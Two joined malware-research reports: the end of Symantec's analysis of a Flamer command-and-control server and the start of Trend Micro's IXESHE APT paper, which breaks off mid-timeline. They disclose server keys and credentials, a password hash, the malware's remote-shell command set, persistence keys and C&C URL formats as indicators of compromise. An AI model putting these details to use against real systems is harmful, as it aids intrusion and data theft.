Response Here is a snippet of code that identified connecting clients: It is likely here that CLIENT_TYPE_SP, CLIENT_TYPE_SPE, and CLIENT_TYPE_FL implemented by D*** are evolutions of the same threat. However, CLIENT_TYPE_IP which is implemented by H***** appears to come after the in-use Flamer protocol, which suggests that either new variants exist that we are unaware of, or there is a separate Trojan at work. They also included an unrecognized fallback for clients. Stolen Data Compromised clients upload stolen data to the entries directory. Files stored in this directory are encrypted with a public key stored in the database. These files cannot be decrypted without the corresponding private key. There was a file of 157,548 bytes still left on the server that the operators did not have the opportunity to download. The stolen data is encrypted with this public key on the server, thus requiring the corresponding unknown private key to decrypt: -----BEGIN PUBLIC KEY----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtZslxFiR9KJE05Nhh7Xk +lVVpD9F6AQnvZeknDiwL3SBjZB/dB/LLXtwiet8LUS6JYCXnaIq4NxW1PymwGFZ zuc/B3p+ZAFPt06veOHOfaMAI0KDMb+laNPINvn/jJ8TfvCaUMUuMEY4sayh0xwD MwSAazMYI8rvaaS/BqhI/6vPN6D02UIpwT1TSBVeRRoPBHuYE7A93b8vJw9sBGIp KXZ90sgP1CjdAmCbhYelelninKdeTKCGvd5YXt86grWgEVf5WXzxXi3ZK1T4w0Yt mNhUEAwS7zCdtZ+Ak8b0M83wAirASvPZiBl6qF8hqCT5pKkwgBG//kk8JicboLsM VQIDAQAB -----END PUBLIC KEY----Based on timestamps seen on the first server in the /newsforyou/bak directory we determined that the operators downloaded the stolen data on four separate dates in May. Table 11 Date Stolen data files 2012-05-22 2012-05-23 2012-05-24 2012-05-30 Page 11 Security Response Have I Got Newsforyou: Analysis of Flamer C&C Server A total of around 75 MB of stolen data was found in the backups on one of the servers (server #1). Although the timing data is limited here, the timestamps of these backups suggest that the operators could be in the EMEA region. There was a four-day delay from the initial setup to when the operators began to retrieve stolen data. This is a possible indicator that the information about the new server had to take time to filter down to them. Figure 3.1 Megabytes of stolen data by date, server #1 In comparison, the other server (server #2) saw a massive 5.7 GB of stolen data: Figure 3.2 Megabytes of stolen data by date, server #2 Page 12 Security Response Have I Got Newsforyou: Analysis of Flamer C&C Server Activity By examining the files in the bak directories, specifically the number of files contained within the backup archives created each day, it is possible to obtain an indication of the activity of the C&C server, which can be seen in the chart below: Figure 4.1 Number of backup archives created each day, server #1 Figure 4.2 Number of backup archives created each day, server #2 On the first server, there is a clear increase in activity around May 20, which then drops off. This is to be expected as computers are cleared up. On the second server the Flamer operation is in full flow and huge volumes of files are being created on the system. Page 13 Have I Got Newsforyou: Analysis of Flamer C&C Server Security Response Payload The news directory contains a compressed and encrypted file for distribution to the compromised clients connecting to the server. This file is encrypted with a known symmetric key retrieved from the database. Table 12 Filename File size 0xfccd97e2513089e74ba707bbf4c1b0e5 59c5452fb2ba21091513ccdc1e0ec7fd 204,024 bytes This is the browse32.ocx Flamer module, the sole purpose of which is to remove all known traces of the Flamer malware from the compromised client. The payload is encrypted with this symmetric key: R&^T&IOHIO%^&^E%@#$UIO*() The control panel Access to the Flamer control panel requires authentication: Figure 5 Control panel login page The following credentials are used to gain access to the control panel (only the MD5 password hash is available; attempts to crack the password were unsuccessful): Username: username Password Hash: 27934e96d90d06818674b98bec7230fa The control panel for interacting with Flamer-compromised computers is very basic. The simple interface allows the operators to upload packages and download encrypted data stolen from the compromised clients. The operator is required to upload specially crafted tar.gz files. The archived filename needs to follow a specific format, which is parsed and then stored in the ads or news directory, depending on the file extension used. The filename format for these packages is as follows: [USER _ TYPE] _ [USER _ ID] _ [PRIORITY] _ [TEMP _ FLAG][OPTIONAL _ AND _ IGNORED].news [USER _ TYPE] _ [USER _ ID] _ [EXPIRY _ TIME] _ [AD _ NAME].ad Page 14 Security Response Have I Got Newsforyou: Analysis of Flamer C&C Server The following is a screen shot of the control panel that allows the operator to upload data to the server: Figure 6 Control panel data upload screen This approach to uploading packages and downloading data fits the profile of military and intelligence operations. A typical control panel is easy to use and self-explanatory. The operator has full control over what to do with the compromised clients and has the ability to retrieve and inspect the stolen information. The Flamer control panel provides limited capabilities to the operator, preventing them from viewing and interpreting the information being exchanged. This approach would help prevent operators from knowing what is contained within the packages or the significance of the data being exchanged between clients and the attackers. Such a design would also serve as a defensive measure as it would prevent arbitrary packages from being uploaded and prevent downloaded data being from being inspected by unknown parties that may have gained access to the control panel. The following screen on the control panel allows the user to view and download backed up data from the server: Figure 7 Control panel screen for downloading stolen data Page 15 Have I Got Newsforyou: Analysis of Flamer C&C Server Security Response The tar.gz contains all the relevant stolen data and details of where the information was stolen from. The private key is required here to inspect the encrypted data. The database Location: /var/lib/mysql The database is used to store the relevant data about connecting clients, packages to send to the clients, some logging and settings required for encryption, and authentication to access the control panel. Table 13 Database User Password MySQL news_user news_pass Schema The database is used to store the relevant data about connecting clients, packages to send to the clients, some logging and settings required for encryption, and authentication to access the control panel. Figure 8 Newsforyou application database schema Page 16 Have I Got Newsforyou: Analysis of Flamer C&C Server Security Response The session_log, log, and client_log are all encrypted using the keys stored in the settings table shown below and were successfully decrypted: Table 14 Variable Value is_online True cp_user username cp_hash 8 27934e96d90d06818674b98bec7230fa max_backup_size 52428800 version 1.4.11.4.1 minimum_unload_size 1572864 unload_flag general_key acK3xKMoJzsa9AVvtg59+OT4RM/x5MQ3bO2p0j+5Jd0= session_key 13eZ+Now4Pt5ATpPv3WUv1E8UrvJReVMD0pO0MTQqoI= The database is regularly emptied by the delete.php script; there is limited data in it. The following table gives a brief description of the tables found in the database: Table 15 Table Records Record Id Encryption Description settings Configuration values listed in the table below session_log 1144 Encrypted session log client_log 1071 Encrypted client log 21259 Encrypted logs news_entries Entries in newsforyou/news (payloads) blog_entries Entries in newsforyou/entries (stolen data) Ad files in newsforyou/ads/ backup Backup files in newsforyou/bak/ The session_log table contains details of all connections to the server while client_log only contains connections with a recognized protocol (e.g. valid compromised computers). Examining the data in the table indicates that 1071 valid requests were recorded from compromised clients. A decrypted client log entry contains the following information: CLIENT _ ID:[UUID] CLIENT _ TYPE:3 CLIENT _ VERSION:0 REQUEST _ TYPE:0 RAW _ REQUEST:UNIQUE _ NUMBER=[UUID]&PASSWORD=LifeStyle2&ACTION=1&FILE _ NAME=&FILE _ SIZE=0 PROTOCOL:1 The four encrypted requests in the database on the first server are W32.Flamer client requests, which use the old protocol: CLIENT PROTOCOL CLIENT_TYPE_FL OLD_PROTOCOL Page 17 Have I Got Newsforyou: Analysis of Flamer C&C Server Security Response The additional sessions logged are likely attributed to researchers who had discovered the whereabouts of the command-and-control servers. Table 16 IP Address Organization Country client_log 77.42.[REMOVED] LIBANTELECOM Lebanon 37.8. [REMOVED] Israel Haifa Hadara Technologies Private Shareholding Company Israel 37.75. [REMOVED] Orange Palestine Group Co. for Technological Inves Palestine 79.212. [REMOVED] Deutsche Telekom AG Germany 95.211. [REMOVED] LeaseWeb B.V. Netherlands The session_log data contained three separate HTTP_HOST values, indicating multiple Flamer C&C server URLs were used to access this server. Although only one encrypted file existed in the newsforyou/entries folder (the stolen data uploaded from the compromised clients), the database reveals that 189 records had been created. The other 188 files had already been removed from the server. The entry left on the server had been successfully stolen from the computer located in Israel. A final point to note here is in relation to the entry in the news_entries table. Only one record ever existed: the malicious payload to clean the computers up, uploaded on May 18, 2012, at 13.43:45. This server only served up one package and it was uploaded as soon as the server had been initially configured. The last time a compromised client connected to the server was Friday, June 1, 2012, at 11:42:47, and the last log recorded in the database was Friday, June 1, 2012, at 11:46:01. Conclusion Examining the W32.Flamer servers has provided additional insight into the architecture of not only the threat, but also into the command structure of the entities behind it. The server code was written and updated by at least four separate individuals, indicating a continuing development effort to support W32.Flamer and, potentially, new or additional threats of a similar nature. The command-and-control Web application has been in active development for many years, possibly as early as 2006, which is well before Flamer s earliest seen compilation date in 2010. The operators of the C&C servers may be a group of less senior individuals, working on a need-to-know basis, as the operator is not required (nor has the permission) to interpret the value or purpose of the incoming data. Only the attackers have the permission to access and interpret this data. This separation of operational and attacker visibility and roles indicates that this is the work of a highly organized and sophisticated group. The likelihood of a large and well-funded entity s involvement in Flamer is corroborated by the use of the unique certificate weakness used to hijack the Windows Update feature to spread across networks. They were also careful to unload and archive data where necessary, remove duplicate files, and delete unnecessary files to prevent the server from running out of disk space. This was an ongoing development up to 2011. R*** s edits in the source code suggest the concern was less about updating protocols and more about ensuring there was ample room on the servers for the stolen data to be uploaded to, begging the question of how much data was actually being stolen. This investigation simply provides a snapshot in time of the Flamer attack campaign. Considering that logging was disabled and data was wiped clean in such a thorough manner, the remaining clues make it virtually impossible to determine the entity behind the campaign. There is little doubt that the larger project involving cyber-espionage tools, such as Flamer, will continue to evolve and retrieve information from the designated targets. Page 18 Security Response Have I Got Newsforyou: Analysis of Flamer C&C Server Resources Flamer: Highly Sophisticated and Discreet Threat Targets the Middle East http://symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east Painting a Picture of W32.Flamer http://symantec.com/connect/blogs/painting-picture-w32flamer Flamer: A Recipe for Bluetoothache http://symantec.com/connect/blogs/flamer-recipe-bluetoothache W32.Flamer: Spreading Mechanism Tricks and Exploits http://symantec.com/connect/blogs/w32flamer-spreading-mechanism-tricks-and-exploits W32.Flamer: Leveraging Microsoft Digital Certificates http://symantec.com/connect/blogs/w32flamer-leveraging-microsoft-digital-certificates W32.Flamer: Microsoft Windows Update Man-in-the-Middle http://symantec.com/connect/blogs/w32flamer-microsoft-windows-update-man-middle W32.Flamer: Enormous Data Collection http://symantec.com/connect/blogs/w32flamer-enormous-data-collection Flamer: Urgent Suicide http://symantec.com/connect/blogs/flamer-urgent-suicide Page 19 Security Response Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice. About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information. Headquartered in Mountain View, Calif., Symantec has operations in more than 40 countries. More information is available at www.symantec.com. For specific country offices and contact numbers, please visit our Web site. For product information in the U.S., call toll-free 1 (800) 745 6054. Symantec Corporation World Headquarters 350 Ellis Street Mountain View, CA 94043 USA +1 (650) 527-8000 www.symantec.com Copyright 2012 Symantec Corporation. All rights reserved. Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners. Trend Micro Incorporated Research Paper 2012 IXESHE An APT Campaign By: David Sancho, Jessa dela Torre, Matsukawa Bakuei, Nart Villeneuve, and Robert McArdle CONTENTS Introduction..................................................................................... 1 Victims and Targets................................................................ 1 Context...................................................................................... 1 Attack Vectors......................................................................... 2 Operations............................................................................... 2 Technical Analysis......................................................................... 2 Initial Delivery Method.......................................................... 2 Malware Local System Effects............................................. 2 C&C Communications............................................................ 3 Related AES Campaign.........................................................4 C&C Infrastructure......................................................................... 5 Real C&C Location.................................................................. 6 PAGE ii | IXESHE Attribution and Unique Fingerprints......................................... 7 Unique Fingerprints and Modus Operandi....................... 7 Relationships Between Attack Components...........................8 Timeline...........................................................................................12 Conclusion......................................................................................15 Defending Against APTs..............................................................15 Local and External Threat Intelligence............................15 Mitigation and Cleanup Strategy.......................................16 Educating Employees Against Social Engineering........16 Data-Centric Protection Strategy......................................16 Trend Micro Threat Protection Against IXESHE Campaign Components...............................................................17 INTRODUCTION The number of targeted attacks is undoubtedly on the rise. These highly targeted attacks focus on individual organizations in an effort to extract valuable information. In many ways, this is a return to the old hacking days before more widespread attacks targeting millions of users and the rise of computer worms came about. Sometimes, these targeted attacks are allegedly linked to state-sponsored activities but may also be carried out by individual groups with their own goals. Trend Micro continues to track and analyze highly targeted attacks, also known as advanced persistent threats (APTs). We have, in fact, published two research papers on the Luckycat1 and Lurid2 campaigns. This research paper will delve into another prominent group of attackers referred to as IXESHE (pronounced i-sushi based on one of the more common detection names security companies use for the malware they utilize. This campaign is notable for targeting East Asian governments, electronics manufacturers, and a telecommunications company. The IXESHE campaign makes use of targeted emails with malicious attachments to compromise victims systems. The emails are often tailored for specific victims and contain malicious attachments that are almost always weaponized .PDF files with known exploits that drop malware executables onto targeted systems. In addition, the IXESHE attackers conducted two specific attacks that leveraged zero-day exploits one in 2009 and another in 2011. The IXESHE attackers almost always make use of compromised servers as command-and-control (C&C) servers. In some cases, the compromised servers are hosted on target organizations networks after successful infiltration so the attackers can increase their control of the victims infrastructure. Using this approach, the attackers amassed at least 60 C&C servers over time. This technique also allows the attackers to cover their tracks, as having the C&C server in the victims corporate networks means very little C&C traffic leaves them. The attackers deliberate use of compromised machines and dynamic Domain Name System (DNS) services allows them to hide traces of their presence by confusing their activities with data belonging to legitimate individuals. Looking at threat intelligence derived from tracking APT campaigns over time primarily based on the network traffic generated by the malware used, we were able to develop indicators of compromise for the IXESHE campaign. The malware samples used in this campaign were not very complicated by nature but do give the attackers almost complete control over their targets compromised systems. Victims and Targets Most of the IP addresses of IXESHE s victims are linked to DSL networks, which made it difficult to determine their identities. Careful research, however, allowed the identification of some of the attackers victims: East Asian governments Taiwanese electronics manufacturers A telecommunications company Campaign victims were identified by using Whois records and open source research. Trend Micro generally notifies customers that are believed to have been specifically targeted by APT campaigns. Context The IXESHE attackers have been actively launching highly targeted attacks since at least July 2009. http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_luckycat_redux.pdf 2 http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_dissecting-lurid-apt.pdf PAGE 1 | IXESHE TECHNICAL ANALYSIS Attack Vectors Initial Delivery Method Available data on the IXESHE campaign indicates that targeted emails with malicious .PDF file attachments were the attackers vector of choice. In most cases, the attacks involved Adobe Acrobat, Reader, and Flash Player exploits such as: Every IXESHE case we examined revealed that the original infection vector was a targeted email with a PDF exploit as attachment. Older versions also used an XLS exploit. CVE-2009-43243 CVE-2009-09274 CVE-2011-06095 CVE-2011-06116 It should also be noted that this campaign used CVE-200943247 and CVE-2011-06098 exploits when these were still unpatched or considered zero-day vulnerabilities. The IXESHE attackers also used an exploit that affected Microsoft Excel CVE-2009-3129.9 Operations The IXESHE malware binary allowed the attackers to easily take over and maintain complete control of victims systems to do the following: List all services, processes, and drives Terminate processes and services Download and upload files Start processes and services Get victims user names Get a machine s name and domain name Download and execute arbitrary files Cause a system to pause or sleep for a specified number of minutes Spawn a remote shell List all current files and directories http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0609 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0611 http://contagiodump.blogspot.com/2009/12/dec-18-adobe-0-day-cve2009-4324-pdf.html 8 http://contagiodump.blogspot.ca/2011/03/cve-2011-0609-adobe-flashplayer.html 9 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3129 PAGE 2 | IXESHE Opening the .PDF file drops and executes a malware in a victim s system. The malware displays a blank .PDF file or a decoy document related to the targeted attack. The emails normally come from compromised personal accounts or are entirely spoofed. Emails from spoofed senders were usually sent via mail servers in the United States and China. Malware Local System Effects Once dropped onto target systems by means of a document exploit attached to a tailored email, the malware drops an executable file into one of the following folders: %APPDATA%\Locations\ %APPDATA%\Adobe %TEMP% The malware also sets the executable file s attributes Hidden. Some of the file names the attackers used include: winhlps.exe acrotry.exe AcroRd32.exe Updater.exe In order for the malware to survive rebooting, it normally creates the following registry run key: HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run The registry run key, in turn, points to the malware that has been dropped. The value name of this entry varies from sample to sample. Some of the names the attackers used for it include: Adobe Assistant Migrated Some samples, however, do not use a registry run key as load point. Some of the more recent samples we observed create a shortcut (i.e., .LNK file) in the Startup folder with names such as adobe reader speed launch.lnk. The malware also checks a system s proxy settings for later use in C&C communications: HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Internet Settings ProxyEnable ProxyServer C&C Communications Upon installation, the malware starts communicating with one of its C&C servers. Most of the samples appeared to have at least three C&C servers hard coded for redundancy. The C&C communications are easy to identify, as these tended to be coded in the following predetermined format: http://[C&C Server]/[ACD] [EW]S[Some Numbers]. jsp?[Encrypted Base64 Blob] Some samples alternatively use an FGKD.jsp or an FPK.jsp file. The Base64 blob is of particular interest. It makes use of a custom Base64 alphabet. Once decoded, this blob reveals a standardized structure of the information sent to the registered C&C server, which includes the following details: Computer name Local IP address Proxy server IP and port Malware ID To date, we have seen several custom Base64 alphabets, including: +NO5RZaGHviIjhYq8b4ndQ=p012ySTcCDrs/xPgUz67F M3wemKfkJLBo9VtWXlEuA HZa4vjIiGndQ=p012y+NO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu j4vpGZaHnIdQ=i012y+N/zPgUO5RSTx67FMhYb8q3we mKckJLBofCDrs9VtWXlEu p12kJLBofCDrs9VtWXlEuainyj4vd+=H0GZIQNO5RST/ zPgUx67FMhYb8q3wemKc aZHGviIj4ndQ=p012y+NO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu ZvQIajHi4ndG=p012y+NO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu ZaGHviIj4ndQ=p012y+NO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu 4HIvZGjaiQdn=p012y+NO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu pGIaHnZj0vdQ=i421y+NO5RSY/zMgUx67KPhTb8q3we mFckBLJufWErs9VtCXlDo QpaZIivj4ndG=H021y+NO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu pGZaHnIj4vdQ=i012y+NO5RST/zPgUx67FMhYb8q3we mKckJLBofCDrs9VtWXlEu Some similarities exist across different versions of the Base64 alphabet, which indicates that these are most likely not completely randomly generated. Instead, the attackers manually cut and pasted older versions after altering some parts. The malware ID seems to be a campaign code with a different IP address for each attack. Some of the campaign codes we have seen include: [0222] [0713] [0802] [CR1008] [CR1031] [CZ0312] [CZ0913] [CZ0921] [LY]MAIL_20090923 [LY]MAIL_20091015 [LY]MAIL_20091208 [LY0406] [LY0420] [LY0816] [LY1207] [TL1109] [WH0827] [WH1122] [WL1013] [WZ1011] CRML_0505 CRML_MIL Firebox4 JUST_0525 JUST_JP_6080 KA_1016 KS_0602 KSX_0520 LY_ML0430_30m ly0610 MAIL_20091208 MAIL_JAP_0220 MAIL_JAP_0304 MAIL_JAP_0325 MAIL_JAP_0407 MAIL0524 manufact ML_20091223 ML0419._30m ML0623.LINK_10m ML0628 ML_20091216 ML_20091223 MW0629 OM222 sandbox sandbox4 sandbox6 success UNKNOWN wl0711 ZWJP_KS_1222 It appears that the numbers in the given campaign codes refer to dates when the campaigns were launched in MMDD format. The letters are possibly related to the target industry or company. PAGE 3 | IXESHE If the malware does not get a response from the C&C server, it will choose another random number after the AWS part of the URL and try again. Once connected, the malware specifically waits for the remote server to issue the following commands, which may vary from one version to another: del [parameter]: Allows a remote user to delete files. disk [parameter]: Lists all available drives. dos [parameter]: Allows a remote user to execute commands via cmd.exe. get [parameter]: Allows a remote user to download a file from the remote server onto a local machine. list [parameter]: Lists files on the victim s machine. ls [parameter]: Allows a remote user to display the contents of a directory. kill [parameter]: Allows a remote user to terminate processes. put [parameter]: Allows a remote user to upload a file from a local machine to a remote server. rsh [parameter]: Similar to the sh or dos [parameter] except for the fact that this is an already-existing file or shell. run [parameter]: Allows a remote user to execute programs. sh [parameter]: Allows a remote user to execute commands via cmd.exe. sleep [parameter]: Causes a system to sleep for a certain amount of time. PAGE 4 | IXESHE Related AES Campaign We have also been tracking another campaign, which we refer to as the AES campaign, which appears to be related to IXESHE. The main body of the malware related to the IXESHE campaign can be identified by its connection to a C&C server using a file such as AWS12345.jsp and a custom Base64 blob; the malware associated with the AES campaign operates very similarly. The samples used in the AES campaign slightly differed in terms of C&C communication but had significant similarities with IXESHE malware, which used the format: http://[C&C Server]/[ACD] ES[Some Numbers].jsp Even though the network traffic format of the AES campaign was slightly similar, instead of the more familiar AWS[random].jsp format, it used several other formats for certain commands or events such as: AES: Initial beacon. DES: Send the path of %systemdir%. PES: Send the result of the command. SEU: Send the error or invalid command. SUS: Send the system name, which is not encoded, upon receiving the exit command. ZES: Send the result of the command. Another difference in the traffic is that AWS uses the POST method with the format, http://[C&C Server]/FPK [Some Numbers].jsp?[Base64 Blob], when the command is invoked. The Base64 blob contains the file specified in the command. Analysis of the binaries also revealed similarities between the AES and AWS samples. These included the encoding algorithm and commands used. Even though some commands varied, the format and parameters used essentially remained the same. C&C INFRASTRUCTURE The majority of the IXESHE campaign s C&C servers were based in Taiwan and the United States. Figure 1. Breakdown of C&C servers by country PAGE 5 | IXESHE This is, however, not an indicator of attribution. It is not possible to determine where the attackers are based solely on where their C&C infrastructures are located. In addition, not all of the C&C servers are currently active. Many, if not all of them, appear to be compromised machines. In fact, at least 11 of the C&C servers were hosted on the compromised machines of an East Asian government, which made these very useful for launching targeted attacks against it. Most of the malware samples directly accessed an IP address as a C&C server. Connections to domains did exist in some cases. The domains were usually registered using free dynamic DNS service providers or compromised websites. Overall, this strategy was part of the attackers modus operandi. By choosing compromised machines to act as C&C servers, fewer clues were left for investigators to follow in an attempt to find out who is behind the attacks compared with those using bulletproof hosting services and registered domain names. To conduct research on these servers, investigators need to differentiate between information related to malicious and legitimate use. This indicated that the front-end servers actually functioned as proxy servers and that the true C&C servers were hidden behind this initial group of C&C servers. This made the network more resistant to takedown and analysis. Due to a server error, however, the attackers revealed the location of one of their back-end servers. We discovered that the IP address, xx.xx.x2.202, is located in Guangdong, China. The particular error returned looked very similar to errors generated by a tool called HTran. 10 HTran stands for HUC Packet Transmit Tool, a connection bouncer that redirects TCP traffic destined for one host to an alternate host, keeping the real host hidden from view. HUC, this case, stands for the hacking group, Honker Union of China. It was coded by a hacker who goes by the handle lion. This tool s error-checking code, however, is flawed. Assuming that everything properly works, the tool functions very well as a proxy server but if the real server is currently inaccessible, HTran will send an error message, revealing its whereabouts. Running a port scan on this server revealed some open ports shown in the table below. Real C&C Location One very interesting error revealed more insights into the C&C network s setup. One of the malware samples we tested was designed to access xxx.xxawan.com via port 443, which, at that time, resolved to xx.xxx.114.87:443, a server located in the United States. The sample, however, received the following error message from the server: [SERVER]connection to xx.xx.x2.202:56413 error Port State Service 80/tcp Open HTTP 8080/tcp Open HTTP Alternative Based on OS fingerprinting, the server appears to be running Windows 7 Enterprise Server. With only a few open ports, however, it was very difficult to confirm this. In addition, we did not receive a response when we tried to connect to these ports. 10 http://www.secureworks.com/research/threats/htran/ PAGE 6 | IXESHE ATTRIBUTION AND UNIQUE FINGERPRINTS Previous research on the IXESHE campaign indicated several connections to groups possibly from China. In addition, the IP address hiding behind the HTran instance was an IP range assigned to China. Upon further investigation of the manufact campaign, however, it appears that the gang behind it may be English speakers. The name of the campaign, for one, is most likely a shortened form of manufacturing. The OS the C&C server uses is also an English install of Microsoft XP. It is also likely, of course, that the C&C server is a compromised machine so it does not use the attackers first language. The malware samples, which appear to have been developed using C++, had a number of strings and error codes in English such as Enter command and Receive command error! The date format used in the campaign codes (i.e., MMDD) also provided us a clue as to where the attackers may be from. This date format is only commonly used in China, Korea, Iran, Japan, Hungary, Lithuania, and the United States. Unique Fingerprints and Modus Operandi An attack can be considered associated with the gang behind the IXESHE campaign if it exhibits the following characteristics: Uses a specially crafted targeted email with a malicious file attachment Uses document exploits, primarily .PDF files, to drop malware into target systems Uses malware detected by security vendors as IXESHE variants Uses a malware that sends a GET request to the C&C server in the following format: http://[C&C Server]/[ACD] [EW]S[Some Numbers].jsp?[Encrypted Base64 Blob] Uses dynamic DNS services for or compromised machines as C&C servers Based on the limited amount of information we gathered about the attackers, it was very difficult to pinpoint their exact location. PAGE 7 | IXESHE RELATIONSHIPS BETWEEN ATTACK COMPONENTS Figure 2. IXESHE targeted campaign #1 Figure 3. IXESHE targeted campaign #2 PAGE 8 | IXESHE Figure 4. IXESHE targeted campaign #3 PAGE 9 | IXESHE Figure 5. IXESHE targeted campaign #4 PAGE 10 | IXESHE PAGE 11 | IXESHE Figure 6. IXESHE targeted campaign #5 TIMELINE This section lists known incidents exhibiting the same threat actor behaviors and so may be from the same group behind IXESHE dating to as far back as July 2009. With the exception of the samples described in ContagioDump, the dates for other samples refer to when the respective sandboxes saw them for the first time. As such, these dates should be considered at least by and not the actual date of the attack. 6 May 2010 PDF name/Subject hook: MD5: d80eb21cfe8ad1a710c8652b13f8b7ac C&C: xxx.xx9.124.13 Info: http://contagiodump.blogspot.com/2010/05/ may-6-cve-2010-0188-pdf-birthday.html Campaign code: LY_ML0430_30m 15 October 2009 PDF name/Subject hook: MD5: 16a9f340c0d353332ba6f525376c93e1 C&C: xxxxxupsenter.byinter.net Info: http://contagiodump.blogspot.com/2009/12/ oct-15-2009-attack-of-day-development.html Campaign code: [LY]MAIL_20091015 10 May 2010 XLS name/Subject hook: 99 MD5: d4b98bda9c3ae0810a61f95863f4f81e C&C: xxxxx.compreautos.com.br Info: http://contagiodump.blogspot.com/2010/06/ may-10-cve-2009-3129-xls-schedule-of.html Campaign code: CRML_0505 18 December 2009 PDF name/Subject hook: MD5: 8950bbedf4a7f1d518e859f9800f9347 C&C: xxxxxfo.athersite.com Info: http://contagiodump.blogspot.com/2009/12/ dec-18-adobe-0-day-cve-2009-4324-pdf.html Campaign code: ML_20091216 28 December 2009 PDF name/Subject hook: Consumer Welfare Table MD5: c61c231d93d3bd690dd04b6de7350abb C&C: xxx.xx6.148.42 or xxx.xx6.202.49 Info: http://contagiodump.blogspot.com/2009/12/ dec-29-cve-2009-4324-adobe-0-day.html Campaign code: ML_20091223 26 April 2010 PDF name/Subject hook: [ MD5: 58de08c1155a775b760049dff3f5abe4 C&C: xxx.x.x5.26 Info: http://contagiodump.blogspot.com/2010/04/ apr-26-cve-2009-4324-w-low-detection.html Campaign code: ML0419._30m PAGE 12 | IXESHE 8 June 2010 XLS name/Subject hook: MD5: 100cf902ac31766f7d8a521eeb6f8d68 C&C: xxx.xx.187.130 Info: http://contagiodump.blogspot.com/2010/06/ jun-8-cve-2009-4324-korean-peninsula.html Campaign code: MAIL0524 27 June 2010 PDF name/Subject hook: Discussion on CrossStrait Maritime Cooperation MD5: 6e14c7a424c2eef7f37810ff65650837 C&C: xxx.xx.128.71 Info: http://contagiodump.blogspot.com/2010/07/ jun-27-cve-2009-0927-pdf-discussion-on.html Campaign code: ML0628 1 July 2010 PDF name/Subject hook: MD5: 949265ee1d3e587152a23311a85b3be9 C&C: xxx.xx.128.71 Info: http://contagiodump.blogspot.com/2010/07/ jul-01-cve-2009-4324-results-of-press.html Campaign code: ML0628 28 July 2010 PDF name/Subject hook: Summary of Network Intelligence MD5: 738af108a6edd46536492b1782589a04 C&C: xxx.xx6.54.189 Info: http://contagiodump.blogspot.com/2010/08/ jul-28-cve-2009-4324-pdf-990729-romance.html Campaign code: [0713] 16 August 2010 PDF name/Subject hook: Communist China Removes Missiles MD5: 6227e1594775773a182e1b631db5f6bb C&C: xxxxxck.dnsrd.com or xxx.xx6.34.94 (appears to be a compromised computer of an East Asian university) Info: http://contagiodump.blogspot.com/2010/08/ cve-2009-4324-cve-2010-1297-communist.html Campaign code: [0802] 17 August 2010 PDF name/Subject hook: [Unknown] MD5: 36ee61663fc41496642850c4293fed01 C&C: xxxxxck.dnsrd.com or xxx.xx6.34.94 (appears to be a compromised computer of an East Asian university) Info: http://www.threatexpert.com/report.aspx?md 5=36ee61663fc41496642850c4293fed01 Campaign code: [0802] 27 September 2010 PDF name/Subject hook: [Unknown] MD5: 313158192d4442013f7bedeb9def01ec C&C: xx.xx.x3.102 Info: http://www.threatexpert.com/report.aspx?md 5=313158192d4442013f7bedeb9def01ec Campaign code: [WH0827] 22 February 2011 PDF name/Subject hook: [Unknown] MD5: cd0eb6634ea684313389ddce553a6130 C&C: xxx.xx.228.58 Info: http://xml.ssdsandbox.net/view/ cd0eb6634ea684313389ddce553a6130 Campaign code: [0222] 17 March 2011 XLS name/Subject hook: Japan Nuclear Radiation Leakage and Vulnerability Analysis MD5: 7ca4ab177f480503653702b33366111f C&C: xx.xxx.114.44 Info: http://contagiodump.blogspot.com/2011/03/ cve-2011-0609-adobe-flash-player.html Campaign code: OM222 10 April 2011 PDF name/Subject hook: [Unknown] MD5: 711542d883f8fca4aeac62ee1b7df6ca C&C: xx.xx.x0.244 Info: http://www.threatexpert.com/report.aspx?md 5=711542d883f8fca4aeac62ee1b7df6ca Campaign code: [LY0406] 20 April 2011 PDF name/Subject hook: China s Charm Diplomacy in BRICS Summit MD5: ae39b747e4fe72dce6e5cdc6d0314c02 C&C: xx.xx.x9.165 Info: http://contagiodump.blogspot.com/2011/04/ apr-20-cve-2011-0611-pdf-swf-chinas.html Campaign code: [Removed due to privacy concerns] 20 April 2011 PDF name/Subject hook: The Obama Administration and the Middle East MD5: 2368a8f55ee78d844896f05f94866b07 C&C: xx.xx.x9.165 Info: http://contagiodump.blogspot.com/2011/04/ apr-20-cve-2011-0611-pdf-swf-chinas.html Campaign code: {Removed due to privacy concerns] 20 April 2011 PDF name/Subject hook: Russia s profit from general NATO disunity MD5: 4065b98fdcb17a081759061306239c8b C&C: xx.xx.x9.165 Info: http://contagiodump.blogspot.com/2011/04/ apr-20-cve-2011-0611-pdf-swf-chinas.html Campaign code: [Removed due to privacy concerns] 22 April 2011 PDF name/Subject hook: Marshall Plan for the North Africa MD5: 6d5fb801b890bfa7cc737c018e87e456 C&C: 